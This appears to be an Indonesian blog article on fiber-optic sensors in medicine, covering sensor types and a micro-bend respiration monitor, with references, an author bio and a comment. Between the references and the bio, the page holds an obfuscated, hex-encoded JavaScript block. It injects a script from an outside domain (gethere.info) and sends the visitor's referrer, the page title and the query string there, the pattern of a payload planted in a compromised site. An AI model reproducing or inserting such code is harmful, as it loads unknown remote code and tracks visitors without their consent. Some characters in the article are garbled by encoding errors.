Dengan meningkatnya standar hidup manusia, diperlukan teknologi yang mumpuni dalam segala bidang. Salah satu hal yang harus selalu ditingkatkan adalah teknologi dalam bidang kesehatan, baik dalam diagnosa maupun pengobatan. Peningkatan ini dapat berupa akurasi alat yang semakin baik ataupun ukuran alat yang semakin kecil dan portabel. Pemanfaatan teknologi optik dalam bidang kesehatan sudah diteliti sejak lama, mengingat sifat teknologi optik yang non-destruktif (tidak merusak jaringan tubuh). Salah satu bentuk teknologi optik yang populer adalah sensor fiber optik.
Sensor adalah suatu komponen penting dalam pengukuran. Sensor berfungsi sebagai penerjemah suatu besaran menjadi sinyal besaran lain yang dapat diukur dan ditampilkan, misalnya sinyal elektrik. Hasil pengukuran dapat berupa amplitudo, frekuensi, atau fasa dari sinyal listrik yang menunjukkan nilai dari besaran terukur. Sebagai contoh, konsentrasi oksigen dalam darah dapat diukur dari amplitudo gelombang cahaya yang diserap oleh darah. Sensor fiber optik dapat mengukur suhu, tekanan, getaran, perpindahan (displacement), dan gerak rotasi. Prinsip kerja dari sensor fiber optik sangat beragam, dimana pada dasarnya adalah membandingkan perilaku cahaya sebelum dan sesudah melewati suatu fiber optik.
Beberapa parameter yang harus diperhatikan dalam pemilihan sensor adalah akurasi, rentang kerja (span), resolusi (nilai terkecil yang dapat terbaca), repeatability (keterulangan hasil), dan kinerjanya apabila dipengaruhi oleh kondisi lingkungan tertentu.
Sensor fiber optik dapat diklasifikasikan berdasarkan beberapa cara. Menurut letak sensor, sensor fiber optik dibedakan menjadi sensor intrinsik dan ekstrinsik. Pada sensor intrinsik, sifat dari cahaya yaitu intensitas, fasa, atau polaritas berubah terhadap besaran yang diukur secara langsung misalnya temperatur. Sedangkan pada sensor ekstrinsik, terdapat modulator cahaya yang meneruskan informasi dari variabel yang diukur sehingga tidak ada hubungan langsung antara cahaya dan variabel tersebut. Cara kerja ini dapat digambarkan pada gambar 2.
Gambar 2. Sensor fiber optik instrinsik (a) dan ekstrinsik (b) [1] |
Berdasarkan prinsip operasinya, sensor fiber optik dibagi menjadi 3 :
1. Intensity-based
Intensitas / daya cahaya input dan output pada fiber optik diukur untuk mengetahui penurunan intensitas. Nilai tersebut dapat dikalibrasi untuk mengetahui nilai besaran yang diukur. Umumnya diaplikasikan pada sensor suhu dan sensor beban.
2. Polarization-based
Perubahan sifat polarisasi cahaya dimanfaatkan untuk mendeteksi perubahan parameter tertentu. Sebagai contoh, sensor stress/tekanan menggunakan komponen polarizer dan analyzer untuk menghitung external stress.
3. Phase-based
Sensor yang paling responsif adalah sensor fiber optik berbasis modulasi fasa. Fasa dari gelombang cahaya yang melewati fiber optik bergantung pada panjang fisik fiber, panjang lintasan optik, indeks bias dan index profile perambatan cahaya. Pada gambar 4, sensor optik berbasis fasa ditunjukkan dengan Interferometer Michelson dan Mach-Zehnder.
Sensor fiber optik dibidang medis
Sensor fiber optik digunakan dalam bidang medis karena beberapa kelebihan. Ukurannya yang kecil memungkinkan untuk dimasukkan kedalam tubuh tanpa menimbulkan kerusakan fatal. Fiber optik juga kebal terhadap pengaruh gelombang elektromagnetik dan listrik. Aplikasi dari sensor fiber optikA� dapat dikelompokkan menjadi :
- In-vitro (diluar tubuh). contoh : analisa gas, cairan tubuh, sampel jaringan
- In-vivo (langsung pada tubuh), non-invasif. Contoh : optrodes yang diletakkan pada kulit
- In-vivo, invasif. Contoh : cathether, endoskopi
Laju pernapasan merupakan salah satu parameter penting di tubuh manusia yang telah berhasil diukur dengan sensor fiber optik. Untuk dapat mengetahui intensitas pernapasan seseorang, digunakan prinsip mikro bending, yaitu lekukan kecil pada fiber optik yang menyebabkan loss daya. Pergerakan tubuh saat pasien bernafas menyebabkan mikro bending pada sensor fiber optik. Loss daya merupakan penurunan intensitas daya cahaya setelah melewati fiber optik dengan panjang tertentu. Selain akibat panjang fiber optik, adanya lekukan, bengkokan, atau pemanasan pada fiber dapat menyebabkan loss daya. Loss daya inilah yang dibutuhkan utuk kemudian dianalisa.
Pada eksperimen yang dilakukan oleh tim dari Northeastern University, Shenyang, China, pada tahun 2016 digunakan transducer berupa dua papan dengan permukaan sawtooth (berbentuk gigi gergaji) yang diletakkan pada kursi seperti gambar berikut :
Penggunaan transducer dengan bentuk tersebut merupakan teknik baru untuk meningkatkan responsivitas sensor.
Komponen utama dari rangkaian sensor ini adalah fiber optik, sumber cahaya, detektor optik, dan transducer. Transducer berfungsi mengubah bentuk sinyal dari gaya berupa tekanan akibat pernapasan menjadi lekukan fiber optik. Semakin tinggi intensitas pernapasan, maka semakin besar gaya tekan yang diterima oleh transducer. Hal itu menyebabkan semakin besar mikro bending yang terjadi, dan semakin besar loss yang dialami fiber optik. Loss fiber optik diolah untuk mengetahui pola pernapasan pasien.
Beberapa parameter yang diperhitungkan dalam desain transducer diantaranya tinggi sawtooth, jarak antar sawtooth dan ukuran geometris lain yang mempengaruhi radius mikroA� bending, serta jumlah gigi sawtooth.
Hasil yang diperoleh adalah kurva intensitas output optik terhadap waktu. Karena pernapasan bersifat siklus, grafik yang dihasilkan berbentuk periodik. Berbagai analisa dilakukan, diantaranya analisa spektrum frekuensi. Dari sini dapat diketahui apabila terdapat gangguan pernapasan pada pasien. Laju pernapasan juga dapat diketahui dari perubahan loss yang dialami sensor fiber optik.
Sumber :
[1] V. L. Kalyani and V. Sharma, a�?Optical Sensors And Their Use In Medical Fielda�? Journal of Management Engineering and Information Technology, vol. 3, no. 5, 2016.
[2]A�Hai-feng Hu, Si-jia Sun, Ri-qing Lv and Yong Zhao, a�?Design and experiment of an optical fiber micro bend sensor for respiration monitoringa�? Sensors and Actuators A, vol. 251, pp. 126-133, 2016.
var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Alumni S2 Teknik Fisika Institut Teknologi Sepuluh Nopember (ITS) dengan peminatan Rekayasa Instrumentasi Industri, khususnya pada bidang Rekayasa Fotonika (sifat dan aplikasi cahaya).
Artikel yang sangat menarik. Sangat bermanfaat, Agar menambah wawasan, saya rekomendasikan artikel berikut http://news.unair.ac.id/2017/07/03/pengembangan-sensor-serat-optik-sebagai-sebuah-kebutuhan/